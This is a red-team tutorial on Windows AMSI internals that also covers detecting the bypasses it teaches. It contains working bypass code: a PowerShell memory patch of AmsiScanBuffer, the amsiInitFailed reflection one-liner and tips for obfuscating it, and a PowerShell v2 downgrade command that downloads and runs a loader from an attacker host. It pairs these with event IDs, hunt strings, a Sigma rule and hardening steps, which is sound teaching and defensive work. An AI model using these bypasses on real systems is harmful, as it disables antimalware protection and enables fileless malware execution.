AMSI Internals and Bypass Techniques

By Debraj Basak·Sep 8, 2026·16 min readRed Teaming

Objective: Understand how the Windows Antimalware Scan Interface actually works in-process, then defeat it three different ways against an authorized lab VM, and walk out knowing exactly what telemetry each bypass leaves behind so you can write the detection.


A quick note before anything else: everything below runs against a Windows 10 VM you own, with Defender enabled, on a network you control. Don’t run these techniques anywhere else. The whole point is that you learn AMSI well enough to both bypass it under authorization and detect it on the blue-team side, and the second half of that sentence is where most of the value lives.

The first time I patched AmsiScanBuffer in a real engagement I nearly closed the tab in frustration, because the payload ran fine but Sysmon lit up like a Christmas tree twenty seconds later. That is the lesson of this post in one sentence: an AMSI bypass hides the payload from AMSI, not from the operator watching Event 4104. Let’s go through it properly.


1. Why AMSI Matters to a Red Teamer

AMSI is the piece of Windows that gives Defender (or any registered AV) a look at content after it has been decoded, decrypted, or reflectively assembled in memory, but before it is actually executed by the host. That is a big deal. It kills the classic “base64-encode your PowerShell and win” era. When PowerShell, wscript, the .NET CLR, JScript, or Office hosts a script, the string that ends up in AmsiScanBuffer is the fully deobfuscated one, sitting in a buffer in-process.

If you are running fileless payloads, staged loaders, or hands-on-keyboard PowerShell during an engagement, AMSI is the thing turning your favorite one-liner into a red toast pop-up. Understanding how it is wired up in-process is the difference between copy-pasting somebody else’s bypass (and getting caught by the signature on it) and knowing which byte to touch and why.


2. AMSI Architecture, End to End

AMSI lives in amsi.dll. When an AMSI-aware host process starts, it loads amsi.dll into its own address space and calls AmsiInitialize. From that point on, all scans happen in-process in the host. amsi.dll then talks over COM to whichever antimalware providers are registered on the box, which is where Defender’s MpOav.dll provider gets involved.

Two things follow from that architecture:

  • The AMSI code is in your process, meaning if you are executing code in that process you can rewrite it. This is the entire foundation of the memory-patch bypass.
  • The provider (Defender) lives in its own service and is talked to via COM. You are not going to trivially patch MsMpEng.exe; you are going to lie to it from inside the host.

The call chain a host follows looks like this:

AmsiInitialize(appName, &ctx)
   -> AmsiOpenSession(ctx, &session)
       -> AmsiScanBuffer(ctx, buf, len, name, session, &result)
           -> [COM call to registered antimalware provider]
       <- AmsiResultIsMalware(result) ?
   -> AmsiCloseSession(ctx, session)
-> AmsiUninitialize(ctx)

For PowerShell specifically: powershell.exe calls AmsiInitialize on startup. Every time you press Enter, AmsiOpenSession runs, then AmsiScanBuffer is called with the exact script block bytes.

2.1 The Exported API Surface

Straight from amsi.h:

API FunctionPurpose
AmsiInitializeInitializes AMSI in-process, returns a HAMSICONTEXT handle.
AmsiOpenSessionOpens a scan session bound to a context.
AmsiScanBufferScans a raw buffer. The workhorse.
AmsiScanStringConvenience wrapper, internally calls AmsiScanBuffer.
AmsiCloseSessionCloses a session.
AmsiUninitializeTears down the AMSI instance.
AmsiNotifyOperationNotifies the provider of an arbitrary operation.
AmsiResultIsMalwareInterprets an AMSI_RESULT as a block/allow decision.

And the COM interfaces exposed by amsi.h: IAmsiStream, IAntimalware, IAntimalware2, IAntimalwareProvider, IAntimalwareProvider2. You will almost never touch these directly on offense; they exist for AV vendors implementing providers.

2.2 The HAMSICONTEXT Struct (Reversed, Not Official)

Microsoft does not publish this layout. The following is derived from public reverse-engineering work (Black Hat Asia 2022, Pentest Laboratories) and can shift across builds. Treat it as internal, reversed:

// Internal / reversed layout — NOT documented by Microsoft.
// Field offsets have been observed to change across Windows builds.
typedef struct HAMSICONTEXT {
    DWORD  Signature;      // 'AMSI' (0x49534D41) — magic used for validation
    PWCHAR AppName;        // set by AmsiInitialize
    DWORD  Antimalware;    // pointer to the CAmsiAntimalware COM object
    DWORD  SessionCount;   // bumped by AmsiOpenSession
} HAMSICONTEXT;

That Signature field matters. On newer Windows 11 builds Microsoft added extra validation around this header, which is exactly what breaks a bunch of the “just null the pointer” bypasses that worked on Windows 10.

2.3 The AMSI_RESULT Enum

ConstantValue
AMSI_RESULT_CLEAN0
AMSI_RESULT_NOT_DETECTED1
AMSI_RESULT_BLOCKED_BY_ADMIN_START16384
AMSI_RESULT_BLOCKED_BY_ADMIN_END20479
AMSI_RESULT_DETECTED32768

Here is the load-bearing quirk: PowerShell and the .NET CLR do not check whether the HRESULT from AmsiScanBuffer is S_OK. They only check the scan result value. Anything below 32768 is effectively “not blocked.” Push E_INVALIDARG (0x80070057) back to the caller and leave the result at 0, and PowerShell interprets that as clean and runs the payload. Remember this. It is the whole reason the memory-patch bypass is a two-instruction patch instead of a fifty-instruction chess game.


Flowchart showing the AMSI call chain from powershell.exe through AmsiInitialize, AmsiScanBuffer, a COM call, Defender's MpOav.dll provider, and back as an AMSI_RESULT
Every script block travels this in-process chain before execution – because amsi.dll lives in your process, any code running there can rewrite it.

3. Confirming AMSI Is Actually Watching You

Before we bypass anything, prove it’s on. On the lab VM, open a normal PowerShell 5.1 window and type:

'Invoke-Mimikatz'

Defender blocks it with ScriptContainedMaliciousContent and a red banner. Good. That string is a canonical AMSI signature and confirms the wire is live.

Now instrument the API path directly. Compile this on the lab VM with csc AMSIDemo.cs:

// AMSIDemo.cs — shows the raw AMSI call chain any host makes.
// csc AMSIDemo.cs
using System;
using System.Runtime.InteropServices;

class AMSIDemo {
    [DllImport("amsi.dll")] static extern int  AmsiInitialize(string appName, out IntPtr ctx);
    [DllImport("amsi.dll")] static extern int  AmsiOpenSession(IntPtr ctx, out IntPtr session);
    [DllImport("amsi.dll")] static extern int  AmsiScanBuffer(IntPtr ctx, byte[] buf, uint len,
                                                 string name, IntPtr session, out int result);
    [DllImport("amsi.dll")] static extern bool AmsiResultIsMalware(int result);

    static void Main() {
        AmsiInitialize("AMSIDemo", out IntPtr ctx);
        AmsiOpenSession(ctx, out IntPtr session);

        byte[] payload = System.Text.Encoding.Unicode.GetBytes("Invoke-Mimikatz");
        AmsiScanBuffer(ctx, payload, (uint)payload.Length, "test", session, out int res);

        Console.WriteLine($"AMSI_RESULT: {res} | IsMalware: {AmsiResultIsMalware(res)}");
    }
}

Run AMSIDemo.exe and you should see AMSI_RESULT: 32768 | IsMalware: True. That is AMSI_RESULT_DETECTED returned straight from Defender via the provider. This tiny binary is your baseline oracle for everything that follows: after each bypass you will re-run it (or an equivalent test) to confirm you actually broke the check.

3.1 Poke at AmsiScanBuffer in WinDbg

Attach WinDbg to a running powershell.exe and take the pre-patch fingerprint:

0:000> lm m amsi
0:000> x amsi!AmsiScanBuffer
0:000> u amsi!AmsiScanBuffer L10

Copy the first six or so bytes of the prologue somewhere. That is your “before” picture. When we patch it in Section 5, you’ll u it again and see mov eax, 80070057h ; ret sitting there instead of the real prologue. Being able to see the change with your own eyes is worth more than any blog post about it.


4. The .NET Reflection Surface

PowerShell wraps AMSI in an internal helper class: System.Management.Automation.AmsiUtils. Two private fields matter to us:

  • amsiInitFailed (private static bool). If this is true, the PowerShell engine assumes AMSI init failed and stops calling into it for the rest of the session.
  • amsiContext (private static IntPtr). Holds the HAMSICONTEXT pointer. Corrupt it and scan calls fail out gracefully rather than blocking.

Both are NonPublic, but .NET reflection cheerfully reaches through that if you ask it to. That is the whole “Matt Graeber one-liner” world.

Modern Defender ships strong signatures on the naive form of both of these lookups. If you paste the classic string verbatim into a stock PS session you’ll get blocked before you finish the line. That is fine, because we are going to walk each technique honestly, note where the signature is, and see what Script Block Logging catches even when the bypass “succeeds.”


5. Bypass 1: AmsiScanBuffer Memory Patch

This is the technique that broke the game and it is still the one to know first. We are not going to fight AMSI at the API level, we are going to rewrite it.

Step 1: recon your payload with AMSITrigger. Before you spend an hour obfuscating, know exactly which strings are hot:

.\AMSITrigger.exe -i .\Invoke-Mimikatz.ps1 -f 3

The tool binary-searches your script by calling AmsiScanBuffer repeatedly, and reports the exact substrings Defender flags. This alone saves you hours.

Step 2: understand the patch target. AmsiScanBuffer lives in amsi.dll in your host’s address space. Its memory is PAGE_EXECUTE_READ by default. You need to:

  1. Resolve its address with GetProcAddress.
  2. Flip the page to PAGE_EXECUTE_READWRITE (0x40) with VirtualProtect.
  3. Overwrite the prologue.
  4. Restore the original protection.

The patch bytes are six of them:

B8 57 00 07 80    mov eax, 0x80070057   ; E_INVALIDARG
C3                ret

eax is set to E_INVALIDARG. That HRESULT gets returned to the caller, but crucially the result out-parameter is never written, so it stays whatever it was initialized to (typically 0, i.e. AMSI_RESULT_CLEAN). PowerShell reads the result, sees 0, and continues.

Step 3: apply the patch from PowerShell via Add-Type.

# Lab-only. Windows 10 lab VM, own hardware/VM, Defender fully updated.
Add-Type @"
using System;
using System.Runtime.InteropServices;
public class AmsiPatch {
    [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr h, string n);
    [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string n);
    [DllImport("kernel32")] public static extern bool  VirtualProtect(
        IntPtr addr, UIntPtr size, uint newProt, out uint oldProt);
}
"@

$lib   = [AmsiPatch]::LoadLibrary("amsi.dll")
$addr  = [AmsiPatch]::GetProcAddress($lib, "AmsiScanBuffer")

# mov eax, 0x80070057 ; ret
$patch = [byte[]](0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)

$oldProt = 0
[AmsiPatch]::VirtualProtect($addr, [UIntPtr]$patch.Length, 0x40, [ref]$oldProt) | Out-Null
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $addr, $patch.Length)
[AmsiPatch]::VirtualProtect($addr, [UIntPtr]$patch.Length, $oldProt, [ref]$oldProt) | Out-Null

Step 4: verify in WinDbg (still attached from earlier):

0:000> u amsi!AmsiScanBuffer L5
amsi!AmsiScanBuffer:
00007fff`xxxxxxxx b857000780      mov     eax,80070057h
00007fff`xxxxxxxx c3              ret

That is the whole exploit, right there. The function now returns immediately with E_INVALIDARG and never talks to Defender’s provider again for this process’s lifetime.

Step 5: fire the previously-blocked payload.

'Invoke-Mimikatz'

No red banner. The scan buffer call returns 0. PowerShell shrugs and runs it.

Gotcha that cost me an hour once: if Add-Type itself gets flagged (because your compiler-side source contains one of the hot strings), the patch never lands and you blame the patch. Test each stage in isolation: compile the helper class with a boring Foo name first, confirm it compiles, then wire in the AMSI calls.


Step-by-step flow diagram of the AmsiScanBuffer memory patch: resolve address, flip page permissions, write six-byte MOV EAX ret stub, restore permissions, resulting in E_INVALIDARG with a clean scan result
The six-byte patch short-circuits AmsiScanBuffer before it ever reaches Defender’s provider, returning E_INVALIDARG while leaving the scan result at zero.

6. Bypass 2: amsiInitFailed Flag Flip

The old classic. Cheap, powerful, and blocked on-sight by modern Defender in its naive form. Worth knowing because it teaches you the reflection primitive that later, obfuscated bypasses still rest on.

Conceptually all you need is:

# Reference pattern. Verbatim form is signatured.
$utils = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$field = $utils.GetField('amsiInitFailed','NonPublic,Static')
$field.SetValue($null, $true)

Paste that raw and Defender kills it, because both AmsiUtils and amsiInitFailed are literal strings in your script block that AMSI scans before it runs. The historical answer has been to build those strings at runtime from character codes, splits, joins, and format operators. Daniel Bohannon’s Invoke-Obfuscation is the framework everyone uses to generate variants:

Import-Module .\Invoke-Obfuscation.psd1
Invoke-Obfuscation
# Choose TOKEN -> STRING options, iterate, test each output against AMSI

Obfuscate until it slips past, run it, and AmsiUtils.amsiInitFailed is now true for the life of that PowerShell session. Compared to the memory patch, this is cleaner (no page flips, no byte writes) but narrower (per-session, PowerShell-only, and constantly getting new signatures written against it).

Point of view, since you asked: in 2024 and 2025 I reach for the memory patch first on stock Windows 10 hosts. The reflection route stays in the toolbox for constrained environments where I can’t Add-Type, but it’s the technique with the highest sig burn rate. Don’t tie your op to a copy-paste one-liner from a 2016 blog.


7. Bypass 3: amsiContext Corruption

Same reflection surface, different target. Instead of flipping a bool, corrupt the HAMSICONTEXT pointer itself. Zero it, or scribble over the Signature field, and subsequent scan calls fail because AMSI’s internal sanity checks bail out early.

Behaviorally this is different from amsiInitFailed. The flag path tells PowerShell “AMSI is dead, don’t bother.” The context-corruption path lets PowerShell keep calling in, but the calls no-op. Sometimes that difference matters for detection (amsiInitFailed correlates cleanly with “no scan events again ever”; context corruption produces scan calls that fail).

Big caveat: newer Windows 11 builds tightened validation around the HAMSICONTEXT header (that Signature magic field), and several of the pointer-corruption variants that worked cleanly on Windows 10 either don’t work or trigger a graceful fallback on 11. Confirm on your target build before relying on it.


8. Bypass 4: PowerShell v2 Downgrade

PowerShell 2.0 was written before AMSI existed and before Script Block Logging (Event 4104) existed. If PSv2 is still installed on the target as an optional Windows feature, you get both defenses turned off with one command line:

powershell.exe -Version 2 -Command "IEX (New-Object Net.WebClient).DownloadString('http://attacker/loader.ps1')"

Zero AMSI scans, zero 4104 events. For an attacker this is a gift. For a defender this is inexcusable. On the hardening side:

Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root -NoRestart

If you run defense and haven’t done this yet, do it before you finish reading this section.


9. Bypass 5: amsi.dll DLL Hijacking

Overlaps with MITRE T1574.001. If a PowerShell host (or a repackaged binary loading PowerShell as a library) resolves amsi.dll from a search order that includes a directory you can write to, drop a stub amsi.dll there that exports AmsiInitialize, AmsiOpenSession, and AmsiScanBuffer as no-ops returning success and a clean result. The host loads your DLL, calls into it, and never talks to the real AMSI at all.

The stub is a few lines of C. This is not a technique for the majority of stock hosts (PowerShell itself loads amsi.dll from System32 and does not have a writable search path in front of it), but it comes up constantly in third-party AMSI-aware apps and repackaged tooling. Red Canary’s Atomic Red Team has a working test under T1574.001 to reproduce it.


10. AMSITrigger: Turning Detection Rules Into a Search Problem

AMSITrigger (from RythmStick/AMSITrigger on GitHub) is the tool I mentioned above. It is worth its own section because it changes how you obfuscate. Instead of guessing which line of your loader is triggering the block, you get authoritative answers:

.\AMSITrigger.exe -i .\PayloadLoader.ps1 -f 3

Output points at the exact substring, the byte range, and the signature match. Now your obfuscation work is targeted rather than paranoid, and you learn a genuine detection-engineering skill in the process, because you see which patterns Defender actually keys on. Every red teamer serious about their craft should be comfortable with this tool. It is also how you build empathy for the blue side: you can see the signatures.


11. Detection and Defense

Here is the punchline for every operator in the room: PowerShell Script Block Logging (Event ID 4104) runs before AMSI, and it captures your script block whether or not AMSI is bypassed. Your entire memory-patch loader, Add-Type and all, gets written into an event log. Bypassing AMSI does not bypass logging.

11.1 Event IDs to Watch

SourceEvent IDWhat It Captures
Microsoft-Windows-PowerShell/Operational4104Full text of every PowerShell script block executed.
Microsoft-Windows-PowerShell/Operational4103Pipeline / module logging. Complementary, less detail.
Security4688Process creation with command line (requires audit policy).
Sysmon1Process create with full command line and parent.
Sysmon10Cross-process access, catches loaders that inject into powershell.exe.
Sysmon12 / 13Registry key create/modify. Specifically the AMSI provider deletion at HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}.

11.2 Strings to Hunt in EID 4104

Regardless of how clever the obfuscation is, at execution time the script block gets rehydrated. Reasonable hunt anchors:

  • AmsiUtils
  • amsiInitFailed
  • amsiContext
  • AmsiScanBuffer
  • amsi.dll
  • VirtualProtect / WriteProcessMemory
  • [Ref].Assembly.GetType
  • [Runtime.InteropServices.Marshal] / Marshal.Copy

11.3 ETW

There is an ETW provider called Microsoft-Antimalware-Scan-Interface that fires on AMSI scan requests and results, independent of PowerShell’s own logging. It is worth enabling in a collection pipeline because AMSI patches inside a host do not touch it. Advanced adversaries also patch ETW, but that is a separate topic and a separate detection story.

Confirm on your lab VM:

logman query providers | Select-String "Antimalware-Scan-Interface"

11.4 Sigma Rule

title: Potential AMSI Bypass via Memory Patching or Reflection
status: experimental
logsource:
    product: windows
    service: powershell
    definition: 'Script Block Logging (EID 4104) must be enabled'
detection:
    selection:
        EventID: 4104
        ScriptBlockText|contains:
            - 'AmsiUtils'
            - 'amsiInitFailed'
            - 'amsiContext'
            - 'AmsiScanBuffer'
            - 'VirtualProtect'
            - 'Marshal.Copy'
            - 'amsi.dll'
    condition: selection
falsepositives:
    - Security testing tools, AMSI research scripts
level: high
tags:
    - attack.defense_evasion
    - attack.t1562.001

Tune the false positives on your own environment; the strings above are exactly the ones you’ll see in bypass loaders, obfuscated or not, at execution time.

11.5 Hardening, in Priority Order

  1. Enable PowerShell Script Block Logging on every endpoint. It catches bypass loaders even when the bypass itself succeeds.
  2. Enable Module Logging and Transcription as secondary capture points.
  3. Disable PowerShell 2.0. Use the Disable-WindowsOptionalFeature command above. There is no defensible reason to leave it enabled in 2025.
  4. WDAC + Constrained Language Mode. Enforce CLM for any script not signed by your code-signing CA. This kills the Add-Type compile step used by nearly every memory-patch bypass in the wild.
  5. Monitor amsi.dll page permissions. An RWX region in amsi.dll inside a live process is not normal and should alert.
  6. EDR memory-integrity checks. VirtualProtect + Marshal.Copy (or WriteProcessMemory) targeting a region inside amsi.dll is a specific, catchable telemetry pair.

Symbolic illustration of a vigilant eye made of log data watching a bypass attempt, representing Script Block Logging capturing attacker activity even after AMSI is defeated
Script Block Logging (EID 4104) runs before AMSI and records every bypass loader verbatim – the eye that stays open even after the guard is patched.

12. Tools

ToolDescriptionLink
AMSITriggerBinary-searches a script for AMSI-flagged substrings.github.com/RythmStick/AMSITrigger
Invoke-ObfuscationPowerShell obfuscation framework (Daniel Bohannon).github.com/danielbohannon/Invoke-Obfuscation
WinDbgKernel/user debugger, used here to inspect and verify AmsiScanBuffer patches.learn.microsoft.com
SysmonEndpoint telemetry (process create, cross-process access, registry).sysinternals.com
Process HackerLive process/module inspection, view amsi.dll in target.processhacker.sourceforge.io
logmanEnumerate and enable ETW providers, including Microsoft-Antimalware-Scan-Interface.built-in

13. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Impair Defenses: Disable or Modify ToolsT1562.001EID 4104 strings for AmsiUtils, amsiInitFailed, AmsiScanBuffer patching.
Command and Scripting Interpreter: PowerShellT1059.001EID 4104 script block content, Sysmon EID 1 command line.
Hijack Execution Flow: DLL Search Order HijackingT1574.001Sysmon EID 7 image load of amsi.dll from a non-System32 path.
Obfuscated Files or InformationT1027Entropy / char-code reassembly patterns in EID 4104 script block text.

14. Lab Challenge

Do the whole cycle end to end on your VM before you close this tab:

  1. Prove AMSI is on by running 'Invoke-Mimikatz' and eating the block.
  2. Land the AmsiScanBuffer memory patch. Verify the two-instruction rewrite in WinDbg.
  3. Run 'Invoke-Mimikatz' again. Confirm the string prints.
  4. Open Event Viewer, Applications and Services Logs > Microsoft > Windows > PowerShell > Operational, and find your own patch loader in 4104. Read it. That is what your SOC would see.
  5. Write a Sigma rule that would have flagged your loader, using the anchors from Section 11.
  6. Try to defeat your own Sigma rule with Invoke-Obfuscation. Read the resulting 4104 and note what still survives obfuscation (hint: [Ref].Assembly.GetType and VirtualProtect are load-bearing and hard to hide).

You have not learned AMSI until you have done step 6 and been mildly disappointed by how visible the “invisible” bypass is.


Summary

  • AMSI is an in-process inspection layer, not a network filter; because it runs in your host, you can rewrite it, and because you can rewrite it, defenders cannot rely on it alone.
  • The memory-patch bypass is a six-byte overwrite of AmsiScanBuffer that returns E_INVALIDARG and leaves the scan result at AMSI_RESULT_CLEAN (0); PowerShell and .NET do not check the HRESULT.
  • Reflection bypasses (amsiInitFailed, amsiContext) still work but are the most heavily signatured path; expect Windows 11 to have narrowed some pointer-corruption variants further.
  • Script Block Logging (EID 4104) runs before AMSI and captures your bypass loader verbatim; every technique here leaves a Sigma-writable trail.
  • Hardening priority: enable 4104 everywhere, disable PowerShell v2, enforce CLM via WDAC, and alert on RWX pages inside amsi.dll.

Related Tutorials

References

Get new drops in your inbox

Windows internals, exploit dev, and red-team write-ups - no spam, unsubscribe anytime.